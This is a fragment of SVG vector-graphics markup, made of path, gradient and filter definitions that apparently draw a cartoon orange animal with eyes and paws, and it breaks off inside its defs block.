||||
<path opacity="0.997" d="M229.331 2573.92C227.658 2571.29 287.004 2544.38 324.218 2448.2C337.11 2414.69 347.357 2369.08 337.943 2323.16C334.776 2307.96 329.583 2292.41 320.457 2279.96C313.372 2270.39 303.743 2262.04 292.932 2259.23C281.648 2255.61 267.954 2257.93 254.626 2263.16C231.995 2270.93 211.286 2285.24 190.078 2302.35C167.021 2283.54 134.978 2268.82 104.768 2273.7C81.902 2276.54 60.511 2295.24 49.4462 2318.86C3.74465 2410.06 71.315 2519.88 150.29 2625.09C150.29 2625.09 150.29 2625.09 150.29 2625.09C230.276 2725.89 340.979 2812.76 472.956 2860.92C580.106 2900.19 698.127 2914.49 816.398 2905.34C858.558 2901.63 900.297 2891.12 931.227 2867C941.601 2859.12 950.867 2849.65 958.548 2839.11C967.767 2826.46 974.702 2812.27 978.534 2797.4C985.145 2772.44 984.014 2745.1 975.509 2720.73V2720.73C967.343 2698.01 953.089 2677.33 934.061 2665.58C910.149 2650.23 881.933 2641.07 853.199 2637.76C819.885 2634.11 785.627 2639.42 757.021 2654.45C719.662 2673.22 691.325 2709.24 671.796 2748.4C639.342 2814.04 629.429 2890.35 625.585 2963.42C620.787 3054.16 660.729 3141.58 719.642 3201.36C770.676 3252.96 831.322 3289.74 893.723 3308.69C908.697 3313.56 926.857 3313.53 945.412 3314.04C973.343 3314.51 1002.22 3313.39 1029.19 3312.46C1112.71 3309.54 1178.34 3307.56 1247.24 3311.4C1252.48 3312.55 1259.26 3308.03 1265.44 3302.94C1274.49 3294.73 1281.43 3283.17 1287.71 3271.73C1306.29 3237.38 1318.13 3197.66 1326.75 3167.88C1349.83 3064.98 1363.32 3012.13 1366.36 3012.73C1369.41 3013.33 1361.94 3067.36 1344.36 3171.88C1344.36 3171.88 1344.36 3171.88 1344.36 3171.88C1337.33 3202.62 1327.04 3243.92 1308.44 3282.33C1302.39 3294.99 1294.5 3308.84 1282.76 3320.8C1274.53 3329.67 1261.97 3337.01 1246.23 3337.34C1178.13 3335.81 1114.64 3339.62 1030.69 3344.52C1003.79 3346.11 974.453 3347.89 945.212 3348.03C926.769 3348.32 905.587 3348.33 883.825 3342.43C815.106 3322.91 748.321 3284.25 692.192 3228.84C625.184 3162.88 579.614 3066.05 583.303 2961.59C585.929 2885.84 596.46 2803.96 631.931 2729.13C653.524 2683.25 688.026 2640.3 736.117 2614.43C773.614 2594.93 816.524 2587.77 858.202 2592.39C893.307 2596.11 928.083 2607.44 958.736 2626.81C987.785 2645.66 1008.37 2674.19 1019.07 2705.51V2705.51C1030.67 2738.69 1032.2 2775.02 1023.26 2809.17C1017.73 2829.86 1008.36 2849.2 995.965 2866.3C985.637 2880.55 973.211 2893.24 959.166 2903.86C917.766 2934.55 867.899 2948.06 819.932 2951.28C695.515 2960.79 571.075 2945 457.507 2902.73C317.198 2850.29 201.177 2757.52 118.223 2650.2V2650.2C32.6442 2545.24 -32.8981 2417.48 17.6801 2303.93C33.4423 2270.48 64.451 2246.14 100.199 2240.83C136.634 2236.45 169.491 2255.33 190.178 2280.49C205.009 2262.04 222.599 2245.98 243.989 2236.31C261.83 2229.19 281.993 2227.28 301.035 2233.04C318.973 2239.12 332.793 2251.36 341.852 2265.2C353.144 2282.35 358.941 2301.28 361.69 2318.87C370.075 2371.61 356.822 2420.33 340.993 2455.25C291.994 2563.91 225.032 2567.17 229.331 2573.92V2573.92Z" fill="black"/>
|
||||
<path d="M1160.62 2299.49C1160.62 2299.49 1166.66 2341.8 1118.3 2468.75C1069.94 2595.69 1066.92 2885.85 1042.74 2949.32C1018.56 3012.79 885.57 3224.37 915.795 3411.76C946.02 3599.15 1094.12 3865.13 1275.47 3798.64C1456.82 3732.14 1420.55 3744.23 1420.55 3744.23C1420.55 3744.23 1946.46 3859.09 2294.05 3659.6C2372.63 3695.87 2420.99 3726.1 2538.87 3656.58C2656.74 3587.06 2717.19 3396.65 2714.17 3266.68C2711.15 3136.71 2523.75 2852.6 2502.6 2792.15C2481.44 2731.7 2402.85 2435.5 2363.56 2311.58C2324.27 2187.66 2354.5 2166.5 2354.5 2166.5L1160.62 2299.49Z" fill="#DE5700" stroke="black" stroke-width="46.0804"/>
|
||||
<path d="M2798.72 15.367C2698.4 16.4866 2391.12 184.492 2306.37 277.783C2219.35 373.579 2165.64 521.033 2148.97 571.513C2050.88 508.595 1907.17 507.155 1907.17 507.155C1907.17 507.155 1991.8 479.955 2082.48 455.775C1925.31 401.371 1722.8 449.727 1722.8 449.727C1722.8 449.727 1813.47 349.989 1895.08 277.45C1768.13 310.697 1620.04 383.233 1529.36 437.638C1553.54 401.368 1595.86 362.076 1680.49 244.199C1447.75 301.626 1160.61 528.318 1060.87 612.947C1072.96 537.385 1103.19 489.025 1139.46 404.395C1002.07 499.513 937.628 607.905 907.715 681.853C876.541 624.261 794.11 483.695 690.543 400.173C558.035 293.312 45.0981 126.611 113.489 254.844C181.88 383.077 164.781 558.322 207.525 827.611C250.27 1096.9 634.972 1250.78 634.972 1250.78C637.191 1249.99 639.395 1249.09 641.592 1248.17C619.011 1319.85 598.866 1424.54 583.679 1597.01C511.014 1706.01 478.959 1727.38 470.41 1767.99C540.938 1733.8 575.13 1708.15 626.423 1695.32C581.542 1770.13 579.407 1872.71 598.642 2035.14C634.974 1943.24 632.832 1945.37 671.302 1917.59C681.988 2026.59 705.503 2086.43 733.287 2120.63C743.973 2060.78 776.031 2037.28 776.031 2037.28C776.031 2037.28 797.404 2167.65 859.383 2257.41C872.206 2178.34 887.165 2165.51 887.165 2165.51C887.165 2165.51 1135.08 2490.37 1767.7 2456.17C2400.31 2421.98 2579.84 1985.98 2579.84 1985.98C2579.84 1985.98 2592.66 2041.56 2592.66 2062.93C2639.68 1994.54 2669.6 1853.48 2669.6 1853.48C2669.6 1853.48 2703.8 1934.69 2695.25 1985.98C2733.72 1921.86 2742.26 1763.72 2725.17 1691.05C2785.01 1755.17 2836.31 1776.54 2836.31 1776.54C2836.31 1776.54 2703.79 1545.72 2699.52 1507.25C2695.25 1468.78 2793.56 1562.81 2793.56 1562.81C2793.56 1562.81 2731.97 1460.26 2716.62 1432.45C2659.41 1328.78 2605.12 1139.43 2528.87 1011.72C2592.86 970.123 2850.88 788.773 2843.33 573.68C2834.72 328.21 2786.46 176.103 2827.99 51.0384C2836.43 25.6346 2824.3 15.0816 2798.72 15.367V15.367Z" fill="#DE5700"/>
|
||||
<path d="M1160.62 2299.49C1160.62 2299.49 1166.66 2341.8 1118.3 2468.75C1069.94 2595.69 1066.92 2885.85 1042.74 2949.32C1018.56 3012.79 885.57 3224.37 915.795 3411.76C946.02 3599.15 1094.12 3865.13 1275.47 3798.64C1456.82 3732.14 1420.55 3744.23 1420.55 3744.23C1420.55 3744.23 1946.46 3859.09 2294.05 3659.6C2372.63 3695.87 2420.99 3726.1 2538.87 3656.58C2656.74 3587.06 2717.19 3396.65 2714.17 3266.68C2711.15 3136.71 2523.75 2852.6 2502.6 2792.15C2481.44 2731.7 2402.85 2435.5 2363.56 2311.58C2324.27 2187.66 2354.5 2166.5 2354.5 2166.5L1160.62 2299.49Z" fill="#DE5700"/>
|
||||
<path d="M1940.31 2212.63L1557.07 2255.32C1406.21 2289.92 1288.96 2332.21 1288.96 2332.21C1288.96 2332.21 1220.57 2746.83 1233.39 2862.24C1246.22 2977.65 1173.55 3152.9 1212.02 3328.15C1245.61 3481.2 1311.83 3644.02 1558.64 3765.38C1710.04 3782.34 1960.24 3792 2176.82 3713.48C2280.67 3629.51 2354.73 3520.47 2383.21 3435.02C2447.33 3242.67 2370.39 2909.27 2340.47 2840.87C2310.55 2772.48 2344.75 2558.76 2178.04 2315.11C2132.1 2247.96 2043.91 2219.17 1940.31 2212.63Z" fill="#F7EDE9"/>
|
||||
<path opacity="0.6" d="M2798.72 15.367C2698.4 16.4866 2391.12 184.492 2306.37 277.783C2219.35 373.579 2165.64 521.033 2148.97 571.513C2050.88 508.595 1907.17 507.155 1907.17 507.155C1907.17 507.155 1991.8 479.955 2082.48 455.775C1925.31 401.371 1722.8 449.727 1722.8 449.727C1722.8 449.727 1813.47 349.989 1895.08 277.45C1768.13 310.697 1620.04 383.233 1529.36 437.638C1553.54 401.368 1595.86 362.076 1680.49 244.199C1447.75 301.626 1160.61 528.318 1060.87 612.947C1072.96 537.385 1103.19 489.025 1139.46 404.395C1002.07 499.513 937.628 607.905 907.715 681.853C876.541 624.261 794.11 483.695 690.543 400.173C558.035 293.312 45.0981 126.611 113.489 254.844C181.88 383.077 164.781 558.322 207.525 827.611C250.27 1096.9 634.972 1250.78 634.972 1250.78C637.191 1249.99 639.395 1249.09 641.592 1248.17C619.011 1319.85 598.866 1424.54 583.679 1597.01C511.014 1706.01 478.959 1727.38 470.41 1767.99C540.938 1733.8 575.13 1708.15 626.423 1695.32C581.542 1770.13 579.407 1872.71 598.642 2035.14C634.974 1943.24 632.832 1945.37 671.302 1917.59C681.988 2026.59 705.503 2086.43 733.287 2120.63C743.973 2060.78 776.031 2037.28 776.031 2037.28C776.031 2037.28 797.404 2167.65 859.383 2257.41C872.206 2178.34 887.165 2165.51 887.165 2165.51C887.165 2165.51 1135.08 2490.37 1767.7 2456.17C2400.31 2421.98 2579.84 1985.98 2579.84 1985.98C2579.84 1985.98 2592.66 2041.56 2592.66 2062.93C2639.68 1994.54 2669.6 1853.48 2669.6 1853.48C2669.6 1853.48 2703.8 1934.69 2695.25 1985.98C2733.72 1921.86 2742.26 1763.72 2725.17 1691.05C2785.01 1755.17 2836.31 1776.54 2836.31 1776.54C2836.31 1776.54 2703.79 1545.72 2699.52 1507.25C2695.25 1468.78 2793.56 1562.81 2793.56 1562.81C2793.56 1562.81 2731.97 1460.26 2716.62 1432.45C2659.41 1328.78 2605.12 1139.43 2528.87 1011.72C2592.86 970.123 2850.88 788.773 2843.33 573.68C2834.72 328.21 2786.46 176.103 2827.99 51.0384C2836.43 25.6346 2824.3 15.0816 2798.72 15.367V15.367Z" fill="url(#paint0_radial_2_3)"/>
|
||||
<path d="M1785.69 1777.75C1684.07 1778.04 1631.38 1822.48 1594.58 1842.79C1435.61 2029.15 1115.77 1926.47 942.736 2050.1C912.815 2071.47 871.139 2186.88 871.139 2186.88L873.322 2195.17C881.063 2170.83 887.165 2165.51 887.165 2165.51C887.165 2165.51 1135.08 2490.37 1767.7 2456.17C2277.77 2428.6 2493.17 2139.93 2557.52 2029.09C2551.52 1973.12 2534.07 1898.88 2483.67 1896.22C2402.45 1891.95 2066.9 1864.16 1964.32 1808.59C1922.64 1786.02 1855.22 1777.56 1785.69 1777.75V1777.75Z" fill="#F7EDE9"/>
|
||||
<path opacity="0.993" d="M1961.57 1985.15C1963.63 1987.09 1933.18 2033.96 1856.33 2063.83V2063.83C1839.85 2070.21 1822.61 2075.45 1804.72 2079.62C1766.98 2088.41 1729.87 2091.61 1698.49 2092.27C1674.97 2092.78 1655.68 2091.74 1642.07 2090.22C1634.99 2089.43 1629.58 2088.53 1625.85 2087.62C1623.95 2087.15 1622.51 2086.68 1621.54 2086.24C1621.04 2086.01 1620.67 2085.78 1620.42 2085.57C1620.15 2085.33 1620.02 2085.11 1620.03 2084.89C1620.05 2084.67 1620.2 2084.47 1620.49 2084.27C1620.76 2084.08 1621.15 2083.91 1621.67 2083.73C1622.67 2083.4 1624.14 2083.08 1626.06 2082.78C1629.77 2082.2 1635.24 2081.66 1642.21 2081.09C1655.61 2079.99 1674.74 2078.77 1697.58 2076.59C1728.3 2073.63 1764.16 2069.35 1800.38 2060.94C1817.57 2056.95 1834.05 2052.22 1849.95 2046.59C1918.62 2022.43 1958.6 1982.34 1961.57 1985.15V1985.15Z" fill="black"/>
|
||||
<path d="M1934.67 1959.27C1935.77 1956.91 1954.37 1960.97 1967.17 1981.57C1979.98 2002.16 1975.41 2020.64 1972.82 2020.59C1970 2020.53 1967.84 2002.79 1958.14 1987.19C1948.44 1971.58 1933.47 1961.83 1934.67 1959.27V1959.27Z" fill="black"/>
|
||||
<path d="M1263.38 1639.08C1266.22 1756.73 1183.41 1844.17 1098.66 1852.16C951.388 1866.04 891.515 1767.76 901.935 1653.12C912.302 1539.07 1011.03 1433.96 1109.23 1430.52C1193.46 1427.58 1260.47 1518.48 1263.38 1639.08Z" fill="black"/>
|
||||
<g filter="url(#filter0_f_2_3)">
|
||||
<path d="M1109.1 1636.63C1138.87 1598.95 1137.08 1543.74 1105.1 1513.3C1073.11 1482.87 1023.06 1488.73 993.289 1526.41C963.521 1564.08 965.315 1619.29 997.297 1649.73C1029.28 1680.17 1079.34 1674.3 1109.1 1636.63Z" fill="#BEBEBE"/>
|
||||
</g>
|
||||
<path d="M1109.1 1636.63C1138.87 1598.95 1137.08 1543.74 1105.1 1513.3C1073.11 1482.87 1023.06 1488.73 993.289 1526.41C963.521 1564.08 965.315 1619.29 997.297 1649.73C1029.28 1680.17 1079.34 1674.3 1109.1 1636.63Z" fill="#DEDEDE"/>
|
||||
<g filter="url(#filter1_f_2_3)">
|
||||
<path d="M1220.38 1725.27C1218.97 1703.96 1200.95 1686.44 1180.12 1686.13C1159.3 1685.82 1143.56 1702.84 1144.97 1724.14C1146.37 1745.45 1164.4 1762.98 1185.22 1763.29C1206.05 1763.6 1221.79 1746.58 1220.38 1725.27Z" fill="#BEBEBE"/>
|
||||
</g>
|
||||
<path d="M1217.34 1725.22C1216.05 1705.95 1199.48 1690.11 1180.33 1689.83C1161.18 1689.54 1146.71 1704.93 1148.01 1724.2C1149.3 1743.46 1165.87 1759.31 1185.02 1759.59C1204.17 1759.87 1218.64 1744.48 1217.34 1725.22Z" fill="#DEDEDE"/>
|
||||
<path d="M2111.74 1483.68C2108.91 1601.33 2191.71 1688.77 2276.47 1696.76C2423.74 1710.64 2483.61 1612.36 2473.19 1497.72C2462.82 1383.67 2364.09 1278.56 2265.89 1275.13C2181.66 1272.18 2114.65 1363.09 2111.74 1483.68Z" fill="black"/>
|
||||
<g filter="url(#filter2_f_2_3)">
|
||||
<path d="M2266.02 1481.23C2236.25 1443.55 2238.05 1388.34 2270.03 1357.9C2302.01 1327.47 2352.07 1333.34 2381.83 1371.01C2411.6 1408.68 2409.81 1463.9 2377.83 1494.33C2345.85 1524.77 2295.79 1518.9 2266.02 1481.23Z" fill="#BEBEBE"/>
|
||||
</g>
|
||||
<path d="M2266.02 1481.23C2236.25 1443.55 2238.05 1388.34 2270.03 1357.9C2302.01 1327.47 2352.07 1333.34 2381.83 1371.01C2411.6 1408.68 2409.81 1463.9 2377.83 1494.33C2345.85 1524.77 2295.79 1518.9 2266.02 1481.23Z" fill="#DEDEDE"/>
|
||||
<g filter="url(#filter3_f_2_3)">
|
||||
<path d="M2154.74 1569.87C2156.15 1548.56 2174.17 1531.04 2195 1530.73C2215.82 1530.42 2231.57 1547.44 2230.16 1568.75C2228.75 1590.05 2210.72 1607.58 2189.9 1607.89C2169.07 1608.2 2153.33 1591.18 2154.74 1569.87Z" fill="#BEBEBE"/>
|
||||
</g>
|
||||
<path d="M2157.78 1569.82C2159.08 1550.55 2175.65 1534.71 2194.79 1534.43C2213.94 1534.15 2228.41 1549.53 2227.12 1568.8C2225.82 1588.06 2209.25 1603.91 2190.1 1604.19C2170.96 1604.47 2156.49 1589.08 2157.78 1569.82Z" fill="#DEDEDE"/>
|
||||
<path d="M1662.35 1829.49C1645.46 1787.85 1850.52 1752.32 1854.28 1791.71C1858.37 1834.59 1804.4 1912.61 1777.2 1917.14C1750 1921.68 1680.39 1873.96 1662.35 1829.49V1829.49Z" fill="black"/>
|
||||
<g opacity="0.8">
|
||||
<g filter="url(#filter4_f_2_3)">
|
||||
<path d="M1786.9 1793.91C1788.82 1786.22 1801.15 1781.29 1814.44 1782.91C1827.74 1784.53 1836.97 1792.08 1835.05 1799.77C1833.13 1807.46 1820.8 1812.39 1807.51 1810.77C1794.21 1809.15 1784.99 1801.61 1786.9 1793.91Z" fill="#BEBEBE"/>
|
||||
</g>
|
||||
<path d="M1788.84 1794.15C1790.59 1787.19 1801.91 1782.76 1814.14 1784.25C1826.36 1785.74 1834.85 1792.58 1833.11 1799.54C1831.36 1806.49 1820.04 1810.92 1807.81 1809.43C1795.59 1807.94 1787.1 1801.1 1788.84 1794.15Z" fill="#DEDEDE"/>
|
||||
</g>
|
||||
<path d="M2741.41 163.935C2735.43 163.644 2728.58 173.489 2718.76 194.994C2673.88 293.306 2462.29 385.213 2381.08 483.525C2299.87 581.837 2284.9 697.243 2374.67 851.122C2421.52 931.442 2482.9 980.277 2532.12 1009.56C2600.59 964.628 2850.77 785.686 2843.33 573.68C2841.17 511.985 2836.51 456.205 2831.39 405.253C2769.94 259.579 2759.63 164.818 2741.41 163.935V163.935Z" fill="url(#paint1_radial_2_3)"/>
|
||||
<path d="M181.665 291.229C163.173 289.362 174.995 366.697 171.814 505.727C180.547 595.591 187.448 701.123 207.525 827.611C246.788 1074.97 573.781 1224.58 626.915 1247.37C670.403 1199.53 739.457 1106.83 766.704 960.629C806.777 745.606 754.64 615.556 641.83 530.754C529.019 445.951 288.043 418.155 211.526 319.567C197.179 301.081 187.769 291.846 181.665 291.229V291.229Z" fill="url(#paint2_radial_2_3)"/>
|
||||
<path d="M2798.72 15.367C2698.4 16.4866 2391.12 184.492 2306.37 277.783C2219.35 373.579 2165.64 521.033 2148.97 571.513C2050.88 508.595 1907.17 507.155 1907.17 507.155C1907.17 507.155 1991.8 479.955 2082.48 455.775C1925.31 401.371 1722.8 449.727 1722.8 449.727C1722.8 449.727 1813.47 349.989 1895.08 277.45C1768.13 310.697 1620.04 383.233 1529.36 437.638C1553.54 401.368 1595.86 362.076 1680.49 244.199C1447.75 301.626 1160.61 528.318 1060.87 612.947C1072.96 537.385 1103.19 489.025 1139.46 404.395C1002.07 499.513 937.628 607.905 907.715 681.853C876.541 624.261 794.11 483.695 690.543 400.173C558.035 293.312 45.0981 126.611 113.489 254.844C181.88 383.077 164.781 558.322 207.525 827.611C250.27 1096.9 634.972 1250.78 634.972 1250.78C637.191 1249.99 639.395 1249.09 641.592 1248.17C619.011 1319.85 598.866 1424.54 583.679 1597.01C511.014 1706.01 478.959 1727.38 470.41 1767.99C540.938 1733.8 575.13 1708.15 626.423 1695.32C581.542 1770.13 579.407 1872.71 598.642 2035.14C634.974 1943.24 632.832 1945.37 671.302 1917.59C681.988 2026.59 705.503 2086.43 733.287 2120.63C743.973 2060.78 776.031 2037.28 776.031 2037.28C776.031 2037.28 797.404 2167.65 859.383 2257.41C872.206 2178.34 887.165 2165.51 887.165 2165.51C887.165 2165.51 1135.08 2490.37 1767.7 2456.17C2400.31 2421.98 2579.84 1985.98 2579.84 1985.98C2579.84 1985.98 2592.66 2041.56 2592.66 2062.93C2639.68 1994.54 2669.6 1853.48 2669.6 1853.48C2669.6 1853.48 2703.8 1934.69 2695.25 1985.98C2733.72 1921.86 2742.26 1763.72 2725.17 1691.05C2785.01 1755.17 2836.31 1776.54 2836.31 1776.54C2836.31 1776.54 2703.79 1545.72 2699.52 1507.25C2695.25 1468.78 2793.56 1562.81 2793.56 1562.81C2793.56 1562.81 2731.97 1460.26 2716.62 1432.45C2659.41 1328.78 2605.12 1139.43 2528.87 1011.72C2592.86 970.123 2850.88 788.773 2843.33 573.68C2834.72 328.21 2786.46 176.103 2827.99 51.0384C2836.43 25.6346 2824.3 15.0816 2798.72 15.367V15.367Z" stroke="black" stroke-width="30.7203" stroke-linecap="round" stroke-linejoin="round"/>
|
||||
<path d="M1166.07 3775.9C1091.27 3651.94 1054.81 3567.11 1049.59 3511.42C1044.78 3460.13 1038.37 3398.15 1075.24 3428.61C1085.92 3383.72 1083.79 3358.08 1111.57 3370.9C1139.36 3383.72 1158.59 3411.51 1158.59 3411.51C1158.59 3411.51 1154.32 3347.39 1182.1 3368.76C1233.19 3399.52 1324.44 3688.35 1313.81 3770.16C1302.14 3860.06 1231.96 3879.6 1166.07 3775.9V3775.9Z" fill="url(#paint3_linear_2_3)" stroke="black" stroke-width="23.0402"/>
|
||||
<path d="M2556.53 3668.47C2609.53 3533.74 2631.28 3444 2627.1 3388.22C2623.26 3336.85 2619.21 3274.67 2587.96 3310.87C2569.91 3268.41 2567.73 3242.76 2542.48 3260.06C2517.23 3277.35 2502.92 3307.96 2502.92 3307.96C2502.92 3307.96 2496.4 3244.03 2472.59 3269.75C2427.37 3308.62 2385.74 3608.66 2409.91 3687.53C2436.47 3774.21 2508.93 3781.73 2556.53 3668.47V3668.47Z" fill="url(#paint4_linear_2_3)" stroke="black" stroke-width="23.0402"/>
|
||||
<path d="M1562.1 3063.57C1524.1 3059.67 1486.65 3074.05 1455.28 3094.55C1440.72 3104.25 1426.76 3115.03 1414.48 3127.52C1438.67 3156.34 1465.72 3183.02 1496.29 3205.05C1502.66 3208.89 1510.78 3214.39 1518.34 3210.58C1525.16 3205.3 1523.61 3195.64 1524.22 3188.07C1530.46 3197.06 1541.83 3202.2 1552.66 3201.65C1562.44 3199.92 1561.73 3187.56 1560.44 3180.1C1559.69 3173.07 1556.6 3166.42 1556.17 3159.41C1562.43 3160.56 1568.02 3169.72 1575.98 3167.49C1584.76 3164.88 1580.38 3153.58 1580.28 3146.94C1575.9 3118.83 1568.65 3091.24 1562.1 3063.57V3063.57Z" fill="url(#paint5_linear_2_3)"/>
|
||||
<path d="M2302.03 3008.83C2271.36 3023.52 2235.53 3023.15 2203.06 3015.16C2175.5 3008.19 2149 2996.64 2125.3 2980.94C2128.65 3015.23 2131.75 3049.73 2139.6 3083.34C2140.74 3090.5 2145.31 3102 2154.43 3096.05C2163.06 3091.33 2167.94 3082.23 2175.33 3076.17C2175.86 3081.7 2172.59 3088.04 2172.97 3094.1C2172.43 3103.97 2175.25 3117.51 2186.59 3119.85C2200.16 3121.29 2212.08 3112.19 2221.11 3103.04C2227.36 3097.53 2223.84 3112.39 2227.54 3115.27C2229.88 3123.69 2240.07 3132.21 2248.05 3124.67C2257.97 3116 2262.87 3103.26 2269.34 3092.1C2283.08 3065.57 2293.72 3037.5 2302.03 3008.83V3008.83Z" fill="url(#paint6_linear_2_3)"/>
|
||||
<path d="M1517.64 2663.48C1517.64 2663.48 1517.64 2663.48 1517.67 2663.48C1520.97 2664.02 1526.42 2740.85 1532.65 2874.63C1534.91 2900.48 1540.5 2925.66 1547.39 2954.9C1554.58 2985.32 1562.49 3014.75 1571.38 3047.9C1578.08 3072.85 1585.59 3099.84 1591.55 3126.74C1593.42 3135.07 1595.31 3143.95 1596.25 3153.37C1596.57 3156.1 1596.76 3159.46 1596.39 3163.39C1597.28 3165.14 1595.58 3169.34 1590.43 3175.07V3175.07C1580.39 3180.9 1569.4 3179.92 1561.47 3173.37V3173.37C1559.01 3171.29 1557.89 3169.89 1557.57 3169.88C1559.13 3171.17 1561.37 3170.83 1565.41 3169.42H1565.41C1567.06 3167.09 1567.82 3166.38 1567.48 3165.67C1567.51 3167 1568.74 3169.46 1569.97 3173.33V3173.33C1574.02 3183.37 1572.31 3196.44 1561.97 3206.72V3206.72C1550.18 3212.97 1538.44 3211.07 1531.04 3204.36V3204.36C1528.22 3202.07 1526.49 3200.26 1525.34 3199.66H1525.34C1524.94 3200.04 1525.8 3199.59 1528.79 3199.47V3199.47C1531.49 3196.56 1532.68 3197.17 1530.81 3199.19C1530.12 3201.61 1529.26 3205.67 1526.9 3210.83C1526.22 3212.23 1525.38 3213.53 1524.39 3214.71C1520.87 3218.89 1515.47 3221.56 1508.72 3222C1497.43 3220.63 1489.74 3215.57 1485.08 3211.33C1426.38 3166.73 1381.27 3109.36 1347.87 3050.36C1312.57 2987.93 1289.97 2924.54 1275.1 2870.05C1253.47 2738.94 1243.01 2664.06 1246.21 2663.48C1249.41 2662.9 1265.97 2736.63 1291.73 2866.13V2866.13C1308.09 2918.97 1331.53 2980.15 1366.49 3039.63C1399.64 3096.09 1443.21 3150.79 1498.89 3192.79C1504.65 3196.18 1508.06 3199.72 1509.67 3198.89C1507.79 3199.52 1506.9 3199.67 1506.47 3200.08C1506.35 3200.2 1506.26 3200.33 1506.2 3200.5C1506.94 3199.44 1507.34 3196.53 1508.73 3192.3C1508.67 3188.65 1512.14 3183.04 1520.37 3177.93V3177.93C1527.93 3176.03 1533.99 3177.15 1537.72 3180.15H1537.72C1541.56 3182.71 1544.07 3185.1 1545.79 3186.59V3186.59C1547.9 3187.76 1550.06 3189.47 1548.1 3188.32H1548.1C1549.88 3189.46 1549.02 3184.96 1548.23 3180.69C1547.29 3178.15 1545.76 3174.34 1544.81 3168.99C1543.68 3162.9 1546.08 3156.29 1552.14 3150.81V3150.81C1559.11 3147.32 1565.42 3147.49 1569.99 3150.72V3150.72C1573.53 3153.21 1575.53 3155.29 1576.51 3156.24C1576.77 3156.9 1578.18 3157.59 1576.82 3156.92C1573.94 3160.94 1572.68 3161.93 1573.89 3160.86C1574.1 3159.67 1573.92 3157.84 1573.76 3155.45C1573.11 3147.76 1571.43 3139.75 1569.7 3131.46C1564.19 3105.34 1557.05 3078.42 1550.71 3053.27C1542.36 3020.15 1534.87 2989.98 1528.34 2959.17C1522.03 2929.53 1516.99 2902.93 1515.44 2875.5C1513.55 2741.07 1514.34 2664.11 1517.6 2663.48C1517.63 2663.47 1517.63 2663.48 1517.63 2663.48L1517.64 2663.48Z" fill="black"/>
|
||||
<path d="M2054.36 2616.63C2054.36 2616.63 2054.36 2616.63 2054.39 2616.62C2056.19 2615.89 2070.04 2637.19 2094.89 2678.94C2109.22 2707.44 2132.01 2758.35 2129.26 2813.73C2126.35 2866.49 2129.91 2919.11 2136.27 2983.73C2138.7 3008.27 2141.56 3033.66 2145.95 3058.66C2147.37 3066.7 2148.83 3074.55 2150.94 3081.92C2153.48 3086.92 2152.68 3089.64 2151.85 3087.1V3087.1C2150.35 3086.42 2149.64 3086.43 2147.76 3086.96C2148.59 3086.81 2149.83 3084.69 2152.36 3081.82C2154.18 3079.26 2156.95 3075.55 2161.56 3071.71V3071.71C2167.24 3067.27 2175.05 3066.8 2183.03 3071.14V3071.14C2189.11 3077.02 2191.46 3083.31 2190.86 3088.36C2190.8 3093.49 2190.09 3097.39 2189.91 3100.1C2189.14 3103.56 2191.72 3107.99 2194.93 3108.22C2193.44 3110.41 2195.34 3107.08 2199.65 3103.9C2200.36 3103.37 2201.14 3102.85 2201.98 3102.36C2204.18 3100.03 2207.36 3096.8 2212.18 3093.66V3093.66C2217.35 3090.16 2224.54 3089.74 2232.22 3093.32V3093.32C2239.64 3099.62 2242.27 3105.64 2242.32 3108.84V3108.84C2243.94 3113.56 2244.7 3117.24 2245.92 3119.33H2245.92C2246.6 3118.44 2244.84 3119 2239.24 3117.9C2240.48 3118.95 2242.2 3113.83 2247.17 3108.21C2313.25 3000.93 2319.46 2871.49 2314.9 2781.07C2297.57 2668.78 2289.5 2605.08 2292.54 2604.55C2295.58 2604.02 2309.48 2666.75 2331.2 2779.09C2339.6 2871.29 2335.62 3005.12 2266.47 3120.62C2263.84 3126.17 2258.15 3134.43 2246.52 3139.76V3139.76C2235.07 3140.6 2227.55 3136.27 2225.41 3129.88C2222.7 3124.33 2221.47 3119.55 2220.39 3116.09C2218.14 3112.39 2218.74 3110.5 2219.99 3112.94V3112.94C2222.91 3113.55 2223.8 3114.03 2224.18 3113.43C2222.87 3114.01 2221.12 3116.14 2218.22 3118.84C2217.57 3119.81 2216.8 3120.78 2215.9 3121.71C2210.47 3127.42 2200.54 3132.07 2187.13 3129.99C2174.17 3124.43 2166.53 3112.21 2166.89 3098.57C2167.2 3093.95 2167.9 3090.58 2167.82 3088.37C2167.22 3087.43 2167.96 3087.26 2169.25 3089.56L2169.25 3089.56C2172.81 3090.59 2174.25 3090.97 2175.57 3089.9C2174.45 3090.47 2173.01 3092.84 2170.38 3095.95C2168.41 3098.82 2165.16 3102.7 2159.8 3106.38C2152.56 3110.22 2144.7 3109.78 2138.18 3105.33L2138.18 3105.33C2130.69 3097.78 2128.79 3091.01 2129.09 3088.03V3088.03C2126.7 3079.31 2125.14 3070.69 2123.79 3062.43C2119.5 3036.46 2116.88 3010.52 2114.8 2985.7C2109.33 2920.88 2107.01 2866.34 2111.71 2812.49C2116.41 2763.32 2096.79 2712.68 2084.96 2683.93C2063.44 2641.21 2052.84 2617.95 2054.33 2616.66V2616.66C2054.36 2616.65 2054.36 2616.65 2054.36 2616.65L2054.36 2616.63Z" fill="black"/>
|
||||
<path d="M1565.2 3063.14C1564.91 3065.73 1555.96 3066.2 1541.37 3069.17C1525.48 3072.41 1508.74 3077.63 1488.07 3087.53C1480.4 3091.19 1473 3095.12 1465.92 3099.1C1438.07 3119.19 1417.43 3130.85 1415.06 3127.79C1412.69 3124.73 1429.23 3107.59 1456.24 3085.16C1463.45 3080.3 1471.31 3075.72 1479.69 3071.69C1501.77 3061.09 1522.77 3056.66 1540.11 3056.79C1556.81 3056.91 1565.43 3061.05 1565.2 3063.14V3063.14Z" fill="black"/>
|
||||
<path d="M2297.82 3016.57C2298.41 3019.14 2289.95 3024.6 2272.7 3028.14C2254.99 3031.77 2231.89 3032.36 2206.84 3026.95C2194.91 3024.37 2183.64 3020.67 2173.35 3016.16C2144.06 2998.71 2126.51 2984.91 2128.57 2981.06C2130.62 2977.21 2151.75 2984.02 2181.57 2998.09C2191.34 3001.25 2201.5 3004.04 2212.24 3006.34C2255.38 3015.56 2296.57 3011.08 2297.82 3016.57V3016.57Z" fill="black"/>
|
||||
<defs>
|
||||
<filter id="filter0_f_2_3" x="951.462" y="1473.2" width="199.468" height="216.64" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
|
||||
<feFlood flood-opacity="0" result="BackgroundImageFix"/>
|
||||
<feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape"/>
|
||||
